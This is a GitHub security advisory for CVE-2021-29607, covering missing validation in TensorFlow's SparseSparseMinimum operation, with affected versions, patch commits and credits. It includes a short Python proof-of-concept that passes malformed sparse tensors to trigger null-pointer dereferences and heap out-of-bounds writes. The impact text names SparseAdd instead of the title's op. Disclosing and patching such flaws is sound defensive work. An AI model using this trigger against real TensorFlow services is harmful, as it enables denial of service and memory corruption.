GitHub Advisoryadvisory · PyPI
GHSA-gv26-jpj9-c8gq Incomplete validation in `SparseSparseMinimum`
MEDIUM
Official page ↗
- Aliases
- CVE-2021-29607
- Ecosystem
- PyPI
- Packages
- tensorflow, tensorflow-cpu, tensorflow-gpu
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H
- Weaknesses
- CWE-754
- Reviewed
- 2021-05-17
Affected packages
• PyPI tensorflow: < 2.1.4 → fixed in 2.1.4
• PyPI tensorflow: >= 2.2.0, < 2.2.3 → fixed in 2.2.3
• PyPI tensorflow: >= 2.3.0, < 2.3.3 → fixed in 2.3.3
• PyPI tensorflow: >= 2.4.0, < 2.4.2 → fixed in 2.4.2
• PyPI tensorflow-cpu: < 2.1.4 → fixed in 2.1.4
• PyPI tensorflow-cpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3
• PyPI tensorflow-cpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3
• PyPI tensorflow-cpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2
• PyPI tensorflow-gpu: < 2.1.4 → fixed in 2.1.4
• PyPI tensorflow-gpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3
• PyPI tensorflow-gpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3
• PyPI tensorflow-gpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2
Description
Impact
Incomplete validation in `SparseAdd` results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data:
```python
import tensorflow as tf
a_indices = tf.ones([45, 92], dtype=tf.int64)
a_values = tf.ones([45], dtype=tf.int64)
a_shape = tf.ones([1], dtype=tf.int64)
b_indices = tf.ones([1, 1], dtype=tf.int64)
b_values = tf.ones([1], dtype=tf.int64)
b_shape = tf.ones([1], dtype=tf.int64)
tf.raw_ops.SparseSparseMinimum(a_indices=a_indices,
a_values=a_values,
a_shape=a_shape,
b_indices=b_indices,
b_values=b_values,
b_shape=b_shape)
```
The implementation has a large set of validation for the two sparse tensor inputs (6 tensors in total), but does not validate that the tensors are not empty or that the second dimension of `*_indices` matches the size of corresponding `*_shape`. This allows attackers to send tensor triples that represent invalid sparse tensors to abuse code assumptions that are not protected by validation.
Patches
We have patched the issue in GitHub commit ba6822bd7b7324ba201a28b2f278c29a98edbef2 followed by GitHub commit f6fde895ef9c77d848061c0517f19d0ec2682f3a.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
Related
Alias · CVE (1)
- CVE-2021-29607 TensorFlow is an end-to-end open source platform for machine learning. vulnerability
Weakness · CWE (1)
- CWE-754 Improper Check for Unusual or Exceptional Conditions weakness
References
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-gv26-jpj9-c8gq web
- https://nvd.nist.gov/vuln/detail/CVE-2021-29607 advisory
- https://github.com/tensorflow/tensorflow/commit/ba6822bd7b7324ba201a28b2f278c29a98edbef2 web
- https://github.com/tensorflow/tensorflow/commit/f6fde895ef9c77d848061c0517f19d0ec2682f3a web
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-535.yaml web
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-733.yaml web
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-244.yaml web